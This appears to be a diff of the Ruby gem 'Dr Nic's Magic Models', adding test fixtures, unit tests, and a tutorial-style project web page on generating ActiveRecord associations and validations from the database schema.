`referenced_group_id` int(11) NULL UNIQUE,
PRIMARY KEY (`id`)
);

View File

@@ -0,0 +1,14 @@
first:
id: 1
firstname: First
lastname: Person
login: first
email: first@person.com
type: FunUser
second:
id: 2
firstname: Second
lastname: Person
login: sec
email: sec@person.com
type: FunUserPlus

View File

@@ -0,0 +1,4 @@
first_first:
id: 1
group_id: 1
fun_user_id: 1

View File

@@ -0,0 +1,11 @@
first:
id: 1
name: Test
group_id: 1
referenced_group_id: 1
second:
id: 2
name: Also Test
group_id: 1
referenced_group_id: NULL

View File

@@ -0,0 +1,12 @@
first:
id: 1
name: Group One
description: First group
other:
id: 2
name: Group Plus
description: Extended Group
other:
id: 2
name: Group Plus
description: Extended Group

View File

@@ -0,0 +1,2 @@
class FunUserPlus < FunUser
end

View File

@@ -0,0 +1,71 @@
require 'abstract_unit'
require 'pp'
class InvisibleModelAccessTest < Test::Unit::TestCase
# fixtures :fun_users, :groups, :group_memberships, :group_tag
def setup
create_fixtures :fun_users, :groups, :group_memberships, :group_tag
@classes = [FunUser, Group, GroupMembership, GroupTag]
@group = Group.find(:first)
end
def test_attributes
assert_not_nil @group.name
end
def test_find
@classes.each do |klass|
assert_not_nil obj = klass.find(1)
assert_equal klass, obj.class
end
end
def test_sti
require 'fun_user_plus'
x = FunUserPlus.find(:all)
assert x.inject {|n,v| n &= v.class == FunUserPlus}, "Wrong object class in FunUserPlus.find(:all)"
plus = x.first
assert_not_nil plus
assert plus.is_a?(FunUser)
assert plus.class == FunUserPlus
end
def test_new
assert group = Group.new(:name => 'New Group')
assert_equal Group, group.class
end
def test_update
assert @group.update_attributes(:name => 'Group 1'), "Couldn't update:\n#{str=""; @group.errors.each_full { |msg| str += "#{msg}\n" }; str }"
end
def test_delete
assert @group.destroy
end
def test_validations
group = Group.new
group.description = "x"*100
group.some_int = 99.9
group.some_float = "bah"
# Active record seems to interpolate booleans anyway to either true, false or nil...
# group.some_bool = "xxx" => false (!)
assert !group.valid?, "Group should not be valid"
[:name, :description, :some_int, :some_float].each do |x|
assert_not_nil group.errors[x], "Failed on #{x}=[#{group.send(x)}], it should be invalid"
end
group = Group.new
group.name = "name"
group.description = "x"*49
group.some_int = 99
group.some_float = 99.9
group.some_bool = true
assert group.valid?, "Group should be valid"
group.name = @group.name
assert !group.valid?, "Groups should have unique names"
end
end

View File

@@ -0,0 +1,61 @@
require 'abstract_unit'
class InvisibleModelAssocTest < Test::Unit::TestCase
# fixtures :fun_users, :groups, :group_memberships, :group_tag, :adjectives, :adjectives_fun_users
def setup
create_fixtures :fun_users, :groups, :group_memberships, :group_tag, :adjectives, :adjectives_fun_users
@group = Group.find(1)
@group_tag = GroupTag.find(1)
@user = FunUser.find(1)
@membership = GroupMembership.find(1)
end
def test_hatbm
assert_equal([Adjective.find(1)], @user.adjectives)
end
def test_fk
gt = GroupTag.find(1)
# Not using FKs
g = gt.group
assert g.class == Group
assert g.id == 1
# Using FKs
if g.connection.supports_fetch_foreign_keys?
g = gt.referenced_group
assert g.class == Group
assert g.id == 1
end
end
def test_has_many
assert_equal [@membership], @group.group_memberships
assert_equal @group, @membership.group
end
def test_has_one
if @group_tag.connection.supports_fetch_foreign_keys?
assert_equal @group, @group_tag.referenced_group
# assert_equal @group_tag, @group.group_tag_as_referenced_group
end
end
def test_belongs_to
assert_equal @user, @membership.fun_user
assert_equal @group, @membership.group
manual_result = GroupTag.find(:all, :conditions => ['group_tag.group_id = ?', @group.id]) #.sort{|a,b| a.id <=> b.id}
auto_result = @group.group_tags #.sort{|a,b| a.id <=> b.id}
assert manual_result == auto_result, "[#{manual_result.join(',')}] != [#{auto_result.join(',')}]"
end
def test_indirect
assert_equal [@user], @group.fun_users
assert_equal [@group], @user.groups
end
end

View File

@@ -0,0 +1,23 @@
require 'abstract_unit'
class InvisibleModelClassesTest < Test::Unit::TestCase
def setup
end
def test_available
assert_not_nil Group
assert_not_nil FunUser
assert_not_nil GroupMembership
assert_not_nil GroupTag, "Could not find GroupTag with singularized table name 'GroupTag'"
end
def test_table_names
assert_equal 'groups', Group.table_name
assert_equal 'fun_users', FunUser.table_name
assert_equal 'group_memberships', GroupMembership.table_name
assert_equal 'group_tag', GroupTag.table_name
end
end

View File

@@ -0,0 +1,20 @@
require 'abstract_unit'
module MagicGroup
magic_module :table_name_prefix => 'group_'
end
class MagicModuleTest < Test::Unit::TestCase
def setup
end
def test_table_prefix
assert_nothing_thrown { MagicGroup::Membership }
assert_equal('group_memberships', MagicGroup::Membership.table_name)
assert_nothing_thrown { MagicGroup::Tag }
assert_equal('group_tag', MagicGroup::Tag.table_name)
end
end

View File

@@ -0,0 +1,20 @@
require 'abstract_unit'
require 'pp'
module TestBed
class Group < ActiveRecord::Base
generate_validations
end
end
class TestExistingModel < Test::Unit::TestCase
# fixtures :fun_users, :groups, :group_memberships, :group_tag
def setup
create_fixtures :fun_users, :groups, :group_memberships, :group_tag
end
def test_valid
assert(!TestBed::Group.new.valid?)
end
end

View File

@@ -0,0 +1,404 @@
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<link rel="stylesheet" href="stylesheets/screen.css" type="text/css" media="screen" />
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>
Dr Nic&#8217;s Magic Models
</title>
<script src="javascripts/rounded_corners_lite.inc.js" type="text/javascript"></script>
<style>
</style>
<script type="text/javascript" src="version-raw.js"></script>
<script type="text/javascript">
window.onload = function() {
settings = {
tl: { radius: 10 },
tr: { radius: 10 },
bl: { radius: 10 },
br: { radius: 10 },
antiAlias: true,
autoPad: true,
validTags: ["div"]
}
var versionBox = new curvyCorners(settings, document.getElementById("version"));
versionBox.applyCornersToAll();
document.getElementById("version_num").innerHTML = version;
}
</script>
</head>
<body>
<div id="main">
<p><a href="/">&#x21A9; More Magic</a></p>
<div id="version" class="clickable" onclick='document.location = "http://rubyforge.org/projects/magicmodels"; return false'>
Get Version
<a id="version_num" href="http://rubyforge.org/projects/magicmodels" class="numbers"></a>
</div>
<h1>Dr Nic&#8217;s Magic Models</h1>
<p>If you&#8217;ve used Ruby on Rails you&#8217;ll have written at least one model class like this:</p>
<p><pre class="syntax">
<span class="keyword">class </span><span class="class">Person</span> <span class="punct">&lt;</span> <span class="constant">ActiveRecord</span><span class="punct">::</span><span class="constant">Base</span>
<span class="ident">has_many</span> <span class="symbol">:memberships</span>
<span class="ident">has_many</span> <span class="symbol">:groups</span><span class="punct">,</span> <span class="symbol">:through</span> <span class="punct">=&gt;</span> <span class="symbol">:memberships</span>
<span class="ident">belongs_to</span> <span class="symbol">:family</span>
<span class="ident">validates_presence_of</span> <span class="symbol">:firstname</span><span class="punct">,</span> <span class="symbol">:lastname</span><span class="punct">,</span> <span class="symbol">:email</span>
<span class="keyword">end</span>
</pre></p>
<p>A few minutes later you&#8217;ll have wondered to yourself,</p>
<blockquote>
Why do I have write my own <code>has_many</code>, <code>belongs_to</code>, and <code>validates_presence_of</code>
commands if all the data is in the database schema?
</blockquote>
<p>Now, for the very first time, your classes can look like this:</p>
<p><pre class="syntax">
<span class="keyword">class </span><span class="class">Person</span> <span class="punct">&lt;</span> <span class="constant">ActiveRecord</span><span class="punct">::</span><span class="constant">Base</span>
<span class="keyword">end</span>
</pre></p>
<p>or, if you are lazy&#8230;</p>
<p><pre class="syntax">
<span class="keyword">class </span><span class="class">Person</span> <span class="punct">&lt;</span> <span class="constant">ActiveRecord</span><span class="punct">::</span><span class="constant">Base</span><span class="punct">;</span> <span class="keyword">end</span>
</pre></p>
<p>or, if you read right to the end of this page, this&#8230;</p>
<p><pre class="syntax">
<span class="comment"># Go fish.</span>
</pre></p>
<p>Magic and mystery abound. All for you. Impress your friends, amaze your mother.</p>
<p><span class="caps">NOTE</span>: The gratuitous use of <strong>Dr Nic&#8217;s</strong> in the name should only enhance the mystical magikery,
for magic needs a magician; and I love magic. I always wanted to create my own magic trick.
So I shall be the magician for the sake of magic itself. I look a bit like Harry Potter too,
if Harry were 32 and better dressed.</p>
<h2>Installation</h2>
To install the Dr Nic&#8217;s Magic Models gem you can run the following command to
fetch the gem remotely from RubyForge:
<pre>
gem install dr_nic_magic_models
</pre>
<p>or <a href="http://rubyforge.org/projects/magicmodels">download the gem manually</a> and
run the above command in the download directory.</p>
<p>Now you need to <code>require</code> the gem into your Ruby/Rails app. Insert the following
line into your script (use <code>config/environment.rb</code> for your Rails apps):</p>
<pre>
require 'dr_nic_magic_models'
</pre>
<p>Your application is now blessed with magical mystery.</p>
<h2>David Copperfield eat your Ruby-crusted heart out</h2>
<p>Let&#8217;s demonstrate the magical mystery in all its full-stage glory. Create a Ruby on Rails app (example uses sqlite3, but use your favourite databas):</p>
<p><pre class="syntax">
<span class="ident">rails</span> <span class="ident">magic_show</span> <span class="punct">-</span><span class="ident">d</span> <span class="ident">sqlite3</span>
<span class="ident">cd</span> <span class="ident">magic_show</span>
<span class="ident">ruby</span> <span class="ident">script</span><span class="punct">/</span><span class="ident">generate</span> <span class="ident">model</span> <span class="constant">Person</span>
<span class="ident">ruby</span> <span class="ident">script</span><span class="punct">/</span><span class="ident">generate</span> <span class="ident">model</span> <span class="constant">Group</span>
<span class="ident">ruby</span> <span class="ident">script</span><span class="punct">/</span><span class="ident">generate</span> <span class="ident">model</span> <span class="constant">Membership</span>
</pre></p>
<p>Update the migration <code>001_create_people.rb</code> with:
<pre class="syntax">
<span class="keyword">class </span><span class="class">CreatePeople</span> <span class="punct">&lt;</span> <span class="constant">ActiveRecord</span><span class="punct">::</span><span class="constant">Migration</span>
<span class="keyword">def </span><span class="method">self.up</span>
<span class="ident">create_table</span> <span class="symbol">:people</span> <span class="keyword">do</span> <span class="punct">|</span><span class="ident">t</span><span class="punct">|</span>
<span class="ident">t</span><span class="punct">.</span><span class="ident">column</span> <span class="symbol">:firstname</span><span class="punct">,</span> <span class="symbol">:string</span><span class="punct">,</span> <span class="symbol">:null</span> <span class="punct">=&gt;</span> <span class="constant">false</span>
<span class="ident">t</span><span class="punct">.</span><span class="ident">column</span> <span class="symbol">:lastname</span><span class="punct">,</span> <span class="symbol">:string</span><span class="punct">,</span> <span class="symbol">:null</span> <span class="punct">=&gt;</span> <span class="constant">false</span>
<span class="ident">t</span><span class="punct">.</span><span class="ident">column</span> <span class="symbol">:email</span><span class="punct">,</span> <span class="symbol">:string</span><span class="punct">,</span> <span class="symbol">:null</span> <span class="punct">=&gt;</span> <span class="constant">false</span>
<span class="keyword">end</span>
<span class="keyword">end</span>
<span class="keyword">def </span><span class="method">self.down</span>
<span class="ident">drop_table</span> <span class="symbol">:people</span>
<span class="keyword">end</span>
<span class="keyword">end</span>
</pre></p>
<p>Similarly, update the <code>def self.up</code> method of <code>002_create_groups.rb</code>
with:
<pre class="syntax">
<span class="ident">create_table</span> <span class="symbol">:groups</span> <span class="keyword">do</span> <span class="punct">|</span><span class="ident">t</span><span class="punct">|</span>
<span class="ident">t</span><span class="punct">.</span><span class="ident">column</span> <span class="symbol">:name</span><span class="punct">,</span> <span class="symbol">:string</span><span class="punct">,</span> <span class="symbol">:null</span> <span class="punct">=&gt;</span> <span class="constant">false</span>
<span class="ident">t</span><span class="punct">.</span><span class="ident">column</span> <span class="symbol">:description</span><span class="punct">,</span> <span class="symbol">:string</span>
<span class="keyword">end</span>
</pre></p>
<p>and <code>003_create_memberships.rb</code> with:
<pre class="syntax">
<span class="ident">create_table</span> <span class="symbol">:memberships</span> <span class="keyword">do</span> <span class="punct">|</span><span class="ident">t</span><span class="punct">|</span>
<span class="ident">t</span><span class="punct">.</span><span class="ident">column</span> <span class="symbol">:person_id</span><span class="punct">,</span> <span class="symbol">:integer</span><span class="punct">,</span> <span class="symbol">:null</span> <span class="punct">=&gt;</span> <span class="constant">false</span>
<span class="ident">t</span><span class="punct">.</span><span class="ident">column</span> <span class="symbol">:group_id</span><span class="punct">,</span> <span class="symbol">:integer</span><span class="punct">,</span> <span class="symbol">:null</span> <span class="punct">=&gt;</span> <span class="constant">false</span>
<span class="keyword">end</span>
</pre></p>
And run your migrations to create the three tables:
<pre>
rake db:migrate
</pre>
<h3>And now for some <a href="http://en.wikipedia.org/wiki/List_of_conjuring_terms">woofle dust</a> ...</h3>
<p>At the end of <code>config/environment.rb</code> add the following line:</p>
<pre>
require 'dr_nic_magic_models'
</pre>
<p>Now, let&#8217;s do a magic trick. First, let&#8217;s check our model classes (<code>app/models/person.rb</code> etc):</p>
<p><pre class="syntax">
<span class="keyword">class </span><span class="class">Person</span> <span class="punct">&lt;</span> <span class="constant">ActiveRecord</span><span class="punct">::</span><span class="constant">Base</span>
<span class="keyword">end</span>
<span class="keyword">class </span><span class="class">Group</span> <span class="punct">&lt;</span> <span class="constant">ActiveRecord</span><span class="punct">::</span><span class="constant">Base</span>
<span class="keyword">end</span>
<span class="keyword">class </span><span class="class">Membership</span> <span class="punct">&lt;</span> <span class="constant">ActiveRecord</span><span class="punct">::</span><span class="constant">Base</span>
<span class="keyword">end</span>
</pre></p>
<p>Nothing suspicious here. We have no validations and no associations. Just some plain old model classes.</p>
<p><span class="caps">UPDATE</span>: To turn on magic validations, you now need to invoke <code>generate_validations</code> on defined classes. So, update your model classes:</p>
<p><pre class="syntax">
<span class="keyword">class </span><span class="class">Person</span> <span class="punct">&lt;</span> <span class="constant">ActiveRecord</span><span class="punct">::</span><span class="constant">Base</span>
<span class="ident">generate_validations</span>
<span class="keyword">end</span>
<span class="keyword">class </span><span class="class">Group</span> <span class="punct">&lt;</span> <span class="constant">ActiveRecord</span><span class="punct">::</span><span class="constant">Base</span>
<span class="ident">generate_validations</span>
<span class="keyword">end</span>
<span class="keyword">class </span><span class="class">Membership</span> <span class="punct">&lt;</span> <span class="constant">ActiveRecord</span><span class="punct">::</span><span class="constant">Base</span>
<span class="ident">generate_validations</span>
<span class="keyword">end</span>
</pre></p>
<p>For this trick, we&#8217;ll need an ordinary console session. Any old one lying around the house will do.</p>
<pre>
ruby script/console
</pre>
<p>Now a normal model class is valid until you explicitly add <code>validates_xxx</code> commands.
With Dr Nic&#8217;s Magic Models:</p>
<p><pre class="syntax">
<span class="ident">person</span> <span class="punct">=</span> <span class="constant">Person</span><span class="punct">.</span><span class="ident">new</span>
<span class="punct">=&gt;</span> <span class="comment">#&lt;Person:0x393e0f8 @attributes={&quot;lastname&quot;=&gt;&quot;&quot;, &quot;firstname&quot;=&gt;&quot;&quot;, &quot;email&quot;=&gt;&quot;&quot;}, @new_record=true&gt;</span>
<span class="ident">person</span><span class="punct">.</span><span class="ident">valid?</span>
<span class="punct">=&gt;</span> <span class="constant">false</span>
<span class="ident">person</span><span class="punct">.</span><span class="ident">errors</span>
<span class="punct">=&gt;</span> <span class="comment">#&lt;ActiveRecord::Errors:0x3537b38 @errors={</span>
<span class="punct">&quot;</span><span class="string">firstname</span><span class="punct">&quot;=&gt;[&quot;</span><span class="string">can't be blank</span><span class="punct">&quot;,</span> <span class="punct">&quot;</span><span class="string">is too long (maximum is 255 characters)</span><span class="punct">&quot;],</span>
<span class="punct">&quot;</span><span class="string">lastname</span><span class="punct">&quot;=&gt;[&quot;</span><span class="string">can't be blank</span><span class="punct">&quot;,</span> <span class="punct">&quot;</span><span class="string">is too long (maximum is 255 characters)</span><span class="punct">&quot;],</span>
<span class="punct">&quot;</span><span class="string">email</span><span class="punct">&quot;=&gt;[&quot;</span><span class="string">can't be blank</span><span class="punct">&quot;,</span> <span class="punct">&quot;</span><span class="string">is too long (maximum is 255 characters)</span><span class="punct">&quot;]},</span>
<span class="attribute">@base</span><span class="punct">=</span><span class="comment">#&lt;Person:0x3538bf0 @errors=#&lt;ActiveRecord::Errors:0x3537b38 ...&gt;, @new_record=true, </span>
<span class="attribute">@attributes</span><span class="punct">={&quot;</span><span class="string">lastname</span><span class="punct">&quot;=&gt;</span><span class="constant">nil</span><span class="punct">,</span> <span class="punct">&quot;</span><span class="string">firstname</span><span class="punct">&quot;=&gt;</span><span class="constant">nil</span><span class="punct">,</span> <span class="punct">&quot;</span><span class="string">email</span><span class="punct">&quot;=&gt;</span><span class="constant">nil</span><span class="punct">}&gt;&gt;</span>
</pre></p>
<p><strong>Kapoow!</strong> Instant validation! (NOTE: not as instant as it used to be &#8211; remember &#8211; you need to call <code>generate_validations</code> on each class as required)</p>
<p>Because you specified the three columns as <code>:null =&gt; false</code>,
your ActiveRecord models will now automagically generated <code>validates_presence_of</code>
for each non-null field, plus several other validations (since version 0.8.0).</p>
<p>Ok, we&#8217;re just warming up.</p>
<p>Your models normally require association commands (<code>has_many</code>, <code>belongs_to</code>, etc, as
demonstrated above) to have the brilliantly simple support that Rails/ActiveRecords are known for.</p>
<p>Let&#8217;s just watch what Dr Nic&#8217;s Magic Models can do without any effort at all&#8230;</p>
<p><pre class="syntax">
<span class="ident">person</span> <span class="punct">=</span> <span class="constant">Person</span><span class="punct">.</span><span class="ident">create</span><span class="punct">(</span><span class="symbol">:firstname</span> <span class="punct">=&gt;</span> <span class="punct">&quot;</span><span class="string">Nic</span><span class="punct">&quot;,</span> <span class="symbol">:lastname</span> <span class="punct">=&gt;</span> <span class="punct">&quot;</span><span class="string">Williams</span><span class="punct">&quot;,</span> <span class="symbol">:email</span> <span class="punct">=&gt;</span> <span class="punct">&quot;</span><span class="string">drnicwilliams@gmail.com</span><span class="punct">&quot;)</span>
<span class="ident">group</span> <span class="punct">=</span> <span class="constant">Group</span><span class="punct">.</span><span class="ident">create</span><span class="punct">(</span><span class="symbol">:name</span> <span class="punct">=&gt;</span> <span class="punct">&quot;</span><span class="string">Magic Models Forum</span><span class="punct">&quot;,</span> <span class="symbol">:description</span> <span class="punct">=&gt;</span> <span class="punct">&quot;</span><span class="string">http://groups.google.com/magicmodels</span><span class="punct">&quot;)</span>
<span class="ident">membership</span> <span class="punct">=</span> <span class="constant">Membership</span><span class="punct">.</span><span class="ident">create</span><span class="punct">(</span><span class="symbol">:person</span> <span class="punct">=&gt;</span> <span class="ident">person</span><span class="punct">,</span> <span class="symbol">:group</span> <span class="punct">=&gt;</span> <span class="ident">group</span><span class="punct">)</span>
<span class="ident">person</span><span class="punct">.</span><span class="ident">memberships</span><span class="punct">.</span><span class="ident">length</span>
<span class="punct">=&gt;</span> <span class="number">1</span>
<span class="ident">membership</span><span class="punct">.</span><span class="ident">person</span>
<span class="punct">=&gt;</span> <span class="punct">&lt;</span><span class="constant">Person</span><span class="punct">:</span><span class="number">0x38898e8</span> <span class="attribute">@attributes</span><span class="punct">={&quot;</span><span class="string">lastname</span><span class="punct">&quot;=&gt;&quot;</span><span class="string">Williams</span><span class="punct">&quot;,</span> <span class="punct">&quot;</span><span class="string">firstname</span><span class="punct">&quot;=&gt;&quot;</span><span class="string">Nic</span><span class="punct">&quot;,</span>
<span class="punct">&quot;</span><span class="string">id</span><span class="punct">&quot;=&gt;&quot;</span><span class="string">1</span><span class="punct">&quot;,</span> <span class="punct">&quot;</span><span class="string">email</span><span class="punct">&quot;=&gt;&quot;</span><span class="string">drnicwilliams@gmail.com</span><span class="punct">&quot;}&gt;</span>
<span class="ident">group</span><span class="punct">.</span><span class="ident">memberships</span>
<span class="punct">=&gt;</span> <span class="punct">[&lt;</span><span class="constant">Membership</span><span class="punct">:</span><span class="number">0x3c8cd70</span> <span class="attribute">@attributes</span><span class="punct">={&quot;</span><span class="string">group_id</span><span class="punct">&quot;=&gt;&quot;</span><span class="string">1</span><span class="punct">&quot;,</span> <span class="punct">&quot;</span><span class="string">id</span><span class="punct">&quot;=&gt;&quot;</span><span class="string">1</span><span class="punct">&quot;,</span> <span class="punct">&quot;</span><span class="string">person_id</span><span class="punct">&quot;=&gt;&quot;</span><span class="string">1</span><span class="punct">&quot;}&gt;]</span>
</pre></p>
<p>That final association trick is a ripper. Automatic generation of <code>has_many :through</code> associations&#8230;</p>
<p><pre class="syntax">
<span class="punct">&gt;&gt;</span> <span class="ident">person</span><span class="punct">.</span><span class="ident">groups</span>
<span class="punct">=&gt;</span> <span class="punct">[&lt;</span><span class="constant">Group</span><span class="punct">:</span><span class="number">0x39047e0</span> <span class="attribute">@attributes</span><span class="punct">={&quot;</span><span class="string">name</span><span class="punct">&quot;=&gt;&quot;</span><span class="string">Magic Models Forum</span><span class="punct">&quot;,</span> <span class="punct">&quot;</span><span class="string">id</span><span class="punct">&quot;=&gt;&quot;</span><span class="string">1</span><span class="punct">&quot;,</span> <span class="punct">&quot;</span><span class="string">description</span><span class="punct">&quot;=&gt;</span><span class="constant">nil</span><span class="punct">}&gt;]</span>
<span class="punct">&gt;&gt;</span> <span class="ident">group</span><span class="punct">.</span><span class="ident">people</span>
<span class="punct">=&gt;</span> <span class="punct">[&lt;</span><span class="constant">Person</span><span class="punct">:</span><span class="number">0x3c33580</span> <span class="attribute">@attributes</span><span class="punct">={&quot;</span><span class="string">lastname</span><span class="punct">&quot;=&gt;&quot;</span><span class="string">Williams</span><span class="punct">&quot;,</span> <span class="punct">&quot;</span><span class="string">firstname</span><span class="punct">&quot;=&gt;&quot;</span><span class="string">Nic</span><span class="punct">&quot;,</span>
<span class="punct">&quot;</span><span class="string">id</span><span class="punct">&quot;=&gt;&quot;</span><span class="string">1</span><span class="punct">&quot;,</span> <span class="punct">&quot;</span><span class="string">email</span><span class="punct">&quot;=&gt;&quot;</span><span class="string">drnicwilliams@gmail.com</span><span class="punct">&quot;}&gt;]</span>
</pre></p>
<h3>Drum roll&#8230;</h3>
<p>Ladies and gentlemen. For my final feat of magical mastery, I&#8217;ll ask you to do
something you&#8217;ve never done before. This illusion is akin to the <a href="http://www.toytent.com/Posters/985.html">floating lady</a>
illusion that has been passed down through generations of magicians.</p>
<p>Exit your console session.</p>
<span class="caps">DELETE</span> your three model classes: <code>person.rb, group.rb, and membership.rb</code> from the
<code>app/models</code> folder. (You can always get them back via the model generator&#8230; be fearless!)
<pre>rm app/models/*.rb</pre>
<p>Re-launch your console.</p>
<p><strong>drums are still rolling&#8230;</strong></p>
<p>Be prepared to applaud loudly&#8230;</p>
<p><pre class="syntax">
<span class="punct">&gt;&gt;</span> <span class="constant">Person</span>
<span class="punct">=&gt;</span> <span class="constant">Person</span>
</pre></p>
<p>You applaud loudly, but watch for more&#8230;</p>
<p><pre class="syntax">
<span class="punct">&gt;&gt;</span> <span class="constant">Person</span><span class="punct">.</span><span class="ident">new</span><span class="punct">.</span><span class="ident">valid?</span>
<span class="punct">=&gt;</span> <span class="constant">false</span>
<span class="punct">&gt;&gt;</span> <span class="ident">person</span> <span class="punct">=</span> <span class="constant">Person</span><span class="punct">.</span><span class="ident">find</span><span class="punct">(</span><span class="number">1</span><span class="punct">)</span>
<span class="punct">=&gt;</span> <span class="punct">&lt;</span><span class="constant">Person</span><span class="punct">:</span><span class="number">0x3958930</span> <span class="attribute">@attributes</span><span class="punct">={&quot;</span><span class="string">lastname</span><span class="punct">&quot;=&gt;&quot;</span><span class="string">Williams</span><span class="punct">&quot;,</span> <span class="punct">&quot;</span><span class="string">firstname</span><span class="punct">&quot;=&gt;&quot;</span><span class="string">Nic</span><span class="punct">&quot;,</span>
<span class="punct">&quot;</span><span class="string">id</span><span class="punct">&quot;=&gt;&quot;</span><span class="string">1</span><span class="punct">&quot;,</span> <span class="punct">&quot;</span><span class="string">email</span><span class="punct">&quot;=&gt;&quot;</span><span class="string">drnicwilliams@gmail.com</span><span class="punct">&quot;}&gt;</span>
<span class="punct">&gt;&gt;</span> <span class="ident">person</span><span class="punct">.</span><span class="ident">valid?</span>
<span class="punct">=&gt;</span> <span class="constant">true</span>
<span class="punct">&gt;&gt;</span> <span class="ident">person</span><span class="punct">.</span><span class="ident">memberships</span>
<span class="punct">=&gt;</span> <span class="punct">[&lt;</span><span class="constant">Membership</span><span class="punct">:</span><span class="number">0x393a000</span> <span class="attribute">@attributes</span><span class="punct">={&quot;</span><span class="string">group_id</span><span class="punct">&quot;=&gt;&quot;</span><span class="string">1</span><span class="punct">&quot;,</span> <span class="punct">&quot;</span><span class="string">id</span><span class="punct">&quot;=&gt;&quot;</span><span class="string">1</span><span class="punct">&quot;,</span> <span class="punct">&quot;</span><span class="string">person_id</span><span class="punct">&quot;=&gt;&quot;</span><span class="string">1</span><span class="punct">&quot;}&gt;]</span>
<span class="punct">&gt;&gt;</span> <span class="ident">person</span><span class="punct">.</span><span class="ident">groups</span>
<span class="punct">=&gt;</span> <span class="punct">[&lt;</span><span class="constant">Group</span><span class="punct">:</span><span class="number">0x390df60</span> <span class="attribute">@attributes</span><span class="punct">={&quot;</span><span class="string">name</span><span class="punct">&quot;=&gt;&quot;</span><span class="string">Magic Models Forum</span><span class="punct">&quot;,</span> <span class="punct">&quot;</span><span class="string">id</span><span class="punct">&quot;=&gt;&quot;</span><span class="string">1</span><span class="punct">&quot;,</span> <span class="punct">&quot;</span><span class="string">description</span><span class="punct">&quot;=&gt;</span><span class="constant">nil</span><span class="punct">}&gt;]</span>
</pre></p>
<h3>Tada!</h3>
<p>The end.</p>
<h3>Use modules to scope your magic</h3>
<p>Only want to pick up tables starting with <code>blog_</code>?</p>
<p><pre class="syntax"><span class="keyword">module </span><span class="module">Blog</span>
<span class="ident">magic_module</span> <span class="symbol">:table_name_prefix</span> <span class="punct">=&gt;</span> <span class="punct">'</span><span class="string">blog_</span><span class="punct">'</span>
<span class="keyword">end</span>
<span class="constant">Blog</span><span class="punct">::</span><span class="constant">Post</span><span class="punct">.</span><span class="ident">table_name</span> <span class="comment"># =&gt; 'blog_posts'</span>
</pre></p>
<h2>Dr Nic&#8217;s Blog</h2>
<p><a href="http://www.drnicwilliams.com">http://www.drnicwilliams.com</a> &#8211; for future announcements and
other stories and things.</p>
<h2>Articles about Magic Models</h2>
<ul>
<li><a href="http://drnicwilliams.com/2006/08/07/ann-dr-nics-magic-models/">Announcement</a></li>
<li><a href="http://drnicwilliams.com/2006/08/10/bts-magic-models-class-creation/"><span class="caps">BTS</span> &#8211; Class creation</a></li>
</ul>
<h2>Forum</h2>
<p><a href="http://groups.google.com/group/magicmodels">http://groups.google.com/group/magicmodels</a></p>
<h2>Licence</h2>
<p>This code is free to use under the terms of the <span class="caps">MIT</span> licence.</p>
<h2>Contact</h2>
<p>Comments are welcome. Send an email to <a href="mailto:drnicwilliams@gmail.com">Dr Nic Williams</a>
or via his blog at <a href="http://www.drnicwilliams.com">http://www.drnicwilliams.com</a></p>
<p class="coda">
<a href="mailto:drnicwilliams@gmail.com">Dr Nic</a>, 30th April 2007<br>
Theme extended from <a href="http://rb2js.rubyforge.org/">Paul Battley</a>
</p>
</div>
<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
<script type="text/javascript">
_uacct = "UA-567811-3";
urchinTracker();
</script>
</body>
</html>

View File

@@ -0,0 +1,291 @@
h1. Dr Nic's Magic Models
If you've used Ruby on Rails you'll have written at least one model class like this:
<pre syntax='ruby'>
class Person < ActiveRecord::Base
has_many :memberships
has_many :groups, :through => :memberships
belongs_to :family
validates_presence_of :firstname, :lastname, :email
end
</pre>
A few minutes later you'll have wondered to yourself,
<blockquote>
Why do I have write my own <code>has_many</code>, <code>belongs_to</code>, and <code>validates_presence_of</code>
commands if all the data is in the database schema?
</blockquote>
Now, for the very first time, your classes can look like this:
<pre syntax='ruby'>
class Person < ActiveRecord::Base
end
</pre>
or, if you are lazy...
<pre syntax='ruby'>
class Person < ActiveRecord::Base; end
</pre>
or, if you read right to the end of this page, this...
<pre syntax='ruby'>
# Go fish.
</pre>
Magic and mystery abound. All for you. Impress your friends, amaze your mother.
NOTE: The gratuitous use of *Dr Nic's* in the name should only enhance the mystical magikery,
for magic needs a magician; and I love magic. I always wanted to create my own magic trick.
So I shall be the magician for the sake of magic itself. I look a bit like Harry Potter too,
if Harry were 32 and better dressed.
h2. Installation
To install the Dr Nic's Magic Models gem you can run the following command to
fetch the gem remotely from RubyForge:
<pre>
gem install dr_nic_magic_models
</pre>
or "download the gem manually":http://rubyforge.org/projects/magicmodels and
run the above command in the download directory.
Now you need to <code>require</code> the gem into your Ruby/Rails app. Insert the following
line into your script (use <code>config/environment.rb</code> for your Rails apps):
<pre>
require 'dr_nic_magic_models'
</pre>
Your application is now blessed with magical mystery.
h2. David Copperfield eat your Ruby-crusted heart out
Let's demonstrate the magical mystery in all its full-stage glory. Create a Ruby on Rails app (example uses sqlite3, but use your favourite databas):
<pre syntax="ruby">
rails magic_show -d sqlite3
cd magic_show
ruby script/generate model Person
ruby script/generate model Group
ruby script/generate model Membership
</pre>
Update the migration <code>001_create_people.rb</code> with:
<pre syntax="ruby">
class CreatePeople < ActiveRecord::Migration
def self.up
create_table :people do |t|
t.column :firstname, :string, :null => false
t.column :lastname, :string, :null => false
t.column :email, :string, :null => false
end
end
def self.down
drop_table :people
end
end
</pre>
Similarly, update the <code>def self.up</code> method of <code>002_create_groups.rb</code>
with:
<pre syntax="ruby">
create_table :groups do |t|
t.column :name, :string, :null => false
t.column :description, :string
end
</pre>
and <code>003_create_memberships.rb</code> with:
<pre syntax="ruby">
create_table :memberships do |t|
t.column :person_id, :integer, :null => false
t.column :group_id, :integer, :null => false
end
</pre>
And run your migrations to create the three tables:
<pre>
rake db:migrate
</pre>
h3. And now for some "woofle dust":http://en.wikipedia.org/wiki/List_of_conjuring_terms ...
At the end of <code>config/environment.rb</code> add the following line:
<pre>
require 'dr_nic_magic_models'
</pre>
Now, let's do a magic trick. First, let's check our model classes (<code>app/models/person.rb</code> etc):
<pre syntax="ruby">
class Person < ActiveRecord::Base
end
class Group < ActiveRecord::Base
end
class Membership < ActiveRecord::Base
end
</pre>
